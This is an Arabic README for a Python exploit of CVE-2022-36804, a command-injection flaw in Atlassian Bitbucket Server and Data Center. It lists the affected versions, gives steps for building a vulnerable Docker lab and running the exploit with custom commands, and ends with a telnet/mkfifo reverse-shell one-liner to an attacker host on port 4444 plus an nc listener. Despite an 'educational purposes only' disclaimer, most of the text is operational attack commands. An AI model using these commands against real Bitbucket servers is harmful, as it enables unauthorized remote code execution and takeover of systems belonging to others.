
استغلال بلغة Python لـ CVE-2022-36804، حقن أوامر في Atlassian Bitbucket Server و Data Center، يتيح تنفيذ تعليمات برمجية عن بُعد بصلاحيات القراءة.
⚠️ لأغراض تعليمية وبحث أمني مصرح به فقط
شكر جزيل لمؤلف الإثبات العملي الأصلي Walnut Security Services Pvt. Ltd
تسمح نقاط نهاية API متعددة في خادم Atlassian Bitbucket ومركز البيانات الإصدارات 7.0.0 قبل 7.6.17، ومن 7.7.0 قبل 7.17.10، ومن 7.18.0 قبل 7.21.4، ومن 8.0.0 قبل 8.0.3، ومن 8.1.0 قبل 8.1.3، ومن 8.2.0 قبل 8.2.2، ومن 8.3.0 قبل 8.3.1 للمهاجمين عن بعد الذين لديهم صلاحيات قراءة على مستودع Bitbucket عام أو خاص بتنفيذ تعليمات برمجية عشوائية عن طريق إرسال طلب HTTP ضار. تم الإبلاغ عن هذه الثغرة عبر برنامج مكافآت الأخطاء لدينا بواسطة TheGrandPew.
أولاً، استنساخ المستودع
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
تغيير الدليل
cd CVE-2022-36804
بناء حاوية الثغرة
docker build -t CVE-2022-36804 .
تشغيل حاوية مؤقتة
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
التحقق من عنوان IP للحاوية
docker inspect CVE-2022-36804 | grep "IPAddress"
إعداد Atlassian Bitbucket وإنشاء مستودع عام جديد عن طريق فتح الرابط: http://172.17.0.3:7990
التحقق من تنفيذ الأوامر عن بعد (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
التحقق من RCE مع أمر مخصص (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
من منظور المهاجم، تنفيذ الأوامر عن بعد أمر بالغ الأهمية للوصول إلى شيل تفاعلي. لذا، تشغيل الأمر التالي سيؤدي إلى تشغيل شيل عكسي عبر telnet على tcp استنادًا إلى bash إلى نظام المهاجم على المنفذ 4444/tcp:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444